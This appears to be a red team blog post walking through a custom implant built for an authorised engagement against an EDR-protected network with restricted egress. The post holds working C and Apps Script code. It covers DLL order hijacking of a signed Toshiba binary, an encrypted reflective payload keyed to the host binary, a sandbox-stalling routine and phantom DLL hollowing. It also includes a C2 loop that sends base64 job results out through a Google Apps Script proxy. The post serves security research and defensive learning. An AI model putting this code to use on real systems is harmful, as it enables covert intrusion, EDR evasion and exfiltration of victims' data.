Hindering Threat Hunting, a tale of evasion in a restricted environment

It is both common and important for the development of a Red Team exercise to obtain information about the technologies and restrictions of the environment where our TTPs are going to be executed. This information mainly implies substantial changes in our modus operandi. Generally, one of these changes is to put aside known/public offensive tools and develop our own custom implants ad-hoc for the customer’s ecosystem, at the initial stages of infection where the chances of detection are high.

The following case that we would like to share is a clear example of this type of exercise. In one of our clients, we did obtain information about the EDR (Endpoint Detection & Response) technology deployed and the network restrictions for outgoing connections, where only domains such as Google, Microsoft, etc. are allowed.

After studying different approaches to bypass these restrictions, we proceed to develop a custom implant with the necessary capabilities to reach the BlackArrow C&C and carry out various post-exploitation actions without being detected. The following diagram represents the steps performed by the implant:

Implant logic

Step 1: DLL Order Hijacking

It is known that the use of DLL Order Hijacking is still quite efficient not only with AVs but also against EDR technologies. It is no wonder that multiple actors have been using these evasion techniques for years. As an input vector for the exercise, we chose one of the binaries used in a recent campaign described by Dr. Web in his report “Study of the ShadowPad APT backdoor and its relation to PlugX” . Specifically, we used the legitimate binary TosBtKbd.exe signed by TOSHIBA CORPORATION that, as shown below, is susceptible to DLL order hijacking in its function 0x4024A0.

DLL Order Hijacking (TosBtKbd.exe)

As we can see in the image, the DLL “TosBtKbd.dll” is loaded, via LoadLibrary(), without specifying its full path, making it possible to load a harmful DLL. Notice that the SetTosBtKbdHook symbol is invoked immediately.

Step 2: RC4 Decryption (reflective PE)

Running TosBtKbd.exe will trigger the harmful actions through our DLL. The skeleton of this library is shown below.

//#include "syscalls.h" //SysWhispers
void __stdcall UnHookTosBtKbd(void) {}
void __stdcall SetTosBtKbdHook(void)
{
	char key[11];
	stale();

	//Get RC4 Key (TimeDateStamp DWORD value)
	DWORD ts = getKey();
	if (ts == NULL) return;

	sprintf_s(key, "%X", ts);
	DWORD dwCount;

	//Get encrypted shellcode from resource
	PCHAR exec = getResource(&dwCount);
	if (exec != NULL)
	{
		//Decrypt shellcode
		decrypt(key, exec, &dwCount);

		//Lazy check (reflective loading stub)
		if ((exec[1] == 'Z') && (exec[2] == 'E'))
		{
			uint8_t* pMapBuf = nullptr, * pMappedCode = nullptr;
			uint64_t qwMapBufSize;

			//Phantom DLL hollowing
			//Ref: github.com/forrest-orr/phantom-dll-hollower-poc
			//bTxF <-- (check NtCreateTransaction on the system)
			if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode,bTxF)){
				VirtualFree(exec, NULL, MEM_RELEASE);

				//Less obvious indirect call
				__asm
				{
					mov eax, pMappedCode
					push eax;
					ret
				}
			}
		}
	}
}

First of all, the stale() function is run. Its goal is to distract and confuse some machine learning checks and sandboxes that execute the DLL looking for malicious activity. By playing with the variable limit, we can get a delay of seconds/minutes before executing the malicious actions.

double c(int num1) { return (16 / (num1 * pow(5.0, num1 * 1.0))); }
double c1(int num1) { return (4 / (num1 * pow(249.0, num1 * 1.0))); }

void stale()
{
	// Stale code. Play with the "limit" var to look for a delay you feel happy with 
	double limit = 100;
	int j = 0;
	double ans1 = 0.0;
	double ans2 = 0.0;
	int flag = 1;

	for (j = 1; j <= limit; j += 1) {
		if (flag == 1) {
			ans1 += c(j);
			ans2 += c1(j);
			flag = 0;
		}
		else {
			ans1 -= c(j);
			ans2 -= c1(j);
			flag = 1;
		}
	}
	printf("%f", ans1);
}

Afterwards, an embedded resource in the DLL will be loaded and decrypted using the Windows CryptoAPI. This resource is a binary encrypted with RC4 that implements the main logic of the implant, that is, to establish communication with our C&C and execute post-exploitation actions.

Resource decryption (reflective PE)

It has been observed that some EDRs exclusively upload the unknown binaries to their cloud-sandbox for analysis, which is why TosBtKbd.exe’s TimeDataStamp has been used as RC4 key. Using a key from a file header of the container process, will make necessary an analysis within the appropriate context to recover the decrypted binary, which translates into more time for a hunter or malware analyst to obtain artifacts of interest such as, for example, the IP or domain of our C&C.

The following image shows the creation of the reflective PE from the binary compiled from Visual Studio using pe_to_shellcode (developed by security researcher Hasherezade). Note that later the binary is encrypted with RC4 using the TosBtKbd.exe’s TimeDataStamp.

Reflective PE generation (RC4 encryption)

Step 3: Phantom DLL

In order to make memory hunting more difficult and as an alternative to the most common injection techniques, Phantom DLL Hollowing has been used. Using this approach, created by the researcher Forrest Orr, it is possible to execute the binary within a + RX section, making it very difficult to detect it using traditional tools based on RWX allocations or suspicious threads.

In our case, the DLL used to make the phantom is aadauthhelper.dll, which was chosen based on the size of its .text section to house our reflective PE. You can notice the loader stub right at the beginning of that section (0x556C1000).

RX section (aadauthhelper.dll)

To start our implant’s execution, once the Hollowing DLL has been done, the classical cast of a function pointer (call eax) has been replaced with a less obvious indirect call: push eax, ret.

//Phantom DLL hollowing
			//Ref: github.com/forrest-orr/phantom-dll-hollower-poc
			//bTxF <-- (check NtCreateTransaction on the system)
			if (HollowDLL(&pMapBuf, &qwMapBufSize, (const uint8_t*)exec, dwCount, &pMappedCode, bTxF)) {
				VirtualFree(exec, NULL, MEM_RELEASE);

				//Less obvious indirect call
				__asm
				{
					mov eax, pMappedCode
					push eax;
					ret
				}

Step 4: C2 connections through Google Apps Script

Perhaps, one of the trickiest parts of this exercise was the outgoing communications as it was a specially controlled environment. Regarding various alternatives, such as Domain-Fronting and similar techniques, we opted for something more “innovative”. In this context, we took an idea from a Forcepoint analysis on certain Carbanak TTPs where said actor abused the Google Apps Script to send and receive commands. Instead of using said platform as a command and control server, its scripting capabilities would be used to configure a proxy that allows us to reach our C&C.

It should be noted that there are various offensive tools that already take advantage of this platform in a very similar way to the initial idea raised by the Red Team/Threat Hunting team at BlackArrow. However, given the small number of real incidents that make use of these TTPs, it was considered that it could be the most appropriate approach to test the filtering capabilities of our target.

The result has been the development of a binary in C that makes use of the approach described in the following graphic.

Connections through proxy (Google Apps Script)

At first, our implant will launch a GET request (via HTTPS) in which it will embed, in one of its parameters, the URL of the C&C. This URL will be extracted from Google Apps Script and will act as an intermediary between the client’s communications and the control server.

After receiving the first GET, our C&C will return a random 10-byte token to the client. This token ensures that the connection comes from a legitimate host. Periodically, the implant, via POST, will check for new jobs. The result of these jobs (ps, screenshot, getinfo, etc.) will be sent to our C&C encoded in base64.

The code snippet belows shows the main loop in charge of managing the collection and sending of the results associated with each job. The runJob() function will be responsible for executing, through a switch case, each of the control commands and returning the result encoded in base64.

void C2_jobs(HINTERNET hConnect, TCHAR* urlPost)
{
	DWORD dwBytesRead;
	TCHAR* token = new char[BUFSIZ + 1];
	const TCHAR* job = "/job";
	TCHAR jobvalue[JSIZE];
	TCHAR* urlJob, * urlTmp = NULL;
	payenc_t pEncoded;
	pEncoded.payenc = NULL;

	urlJob = concatenate((const TCHAR*)urlPost, (TCHAR*)"/job/");

	while (true)
	{
		Sleep(timer);
		HINTERNET hHttpFile = HttpOpenRequest(hConnect, "POST", urlPost, NULL, NULL, NULL, INTERNET_FLAG_SECURE, NULL);
		if (!HttpSendRequest(hHttpFile, NULL, NULL, NULL, NULL))
			return;

		if (!InternetReadFile(hHttpFile, token, BUFSIZ + 1, &dwBytesRead))
			return;

		if (dwBytesRead != 0)
		{
			token[dwBytesRead] = 0;

			if (sscanf_s(token, "job=%[^\n]", jobvalue, sizeof jobvalue) == 1)
			{
				    urlTmp = concatenate((const TCHAR*)urlJob, jobvalue);

				    pEncoded = runJob(jobvalue);
					hHttpFile = HttpOpenRequest(hConnect, "POST", urlTmp, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
					if (!HttpSendRequest(hHttpFile, NULL, 0, pEncoded.payenc, pEncoded.size)) return;

					if (pEncoded.payenc != NULL)
					{
						free(pEncoded.payenc);
						pEncoded.payenc = NULL;
					}

					free(urlTmp);
					memset(jobvalue, '\0', JSIZE);
			}
		}
	}
}

The following code was used to manage connection in Google Apps Script proxy configuration:

function doGet(e) {
  var url = decodeURIComponent(e.parameter.url);
  try {
    var response = UrlFetchApp.fetch(url);
  } catch (e) {
    return e.toString();
  }
  var cookie = response.getAllHeaders()['Set-Cookie']
  return ContentService.createTextOutput(cookie);
}
  
function doPost(e) {
  Logger.log('[+] Post Done!');
  payload = "";
  
  if(e.postData){
    payload = e.postData.getDataAsString();
  }
  else {
    Logger.log("[-] Post Error :(")
    payload = "!!Error";
  }

  var options = {
  'method' : 'post',
  'payload' : payload
  };
 
 var url = decodeURIComponent(e.parameter.url);
  try {
    var response = UrlFetchApp.fetch(url,options);
  } catch (e) {
    return e.toString();
  }
 
  Logger.log('UrlFetch Response: %s',response);
  return ContentService.createTextOutput(response.getContentText());
}

As we can see in the following image, the client, from the TosBtKbd.exe address space or, to be more exact, from the mapped view (image memory) linked with aadauthhelper.dll, will communicate with the script.google.com service allowing us to bypass the organization’s filtering countermeasures.

Memory / Connections

In the C&C part, a simple Python service was developed to manage the listeners and the various post-exploitation tasks.

C&C server

Below is a video of one of the proofs of concept run on a Windows 10 2004.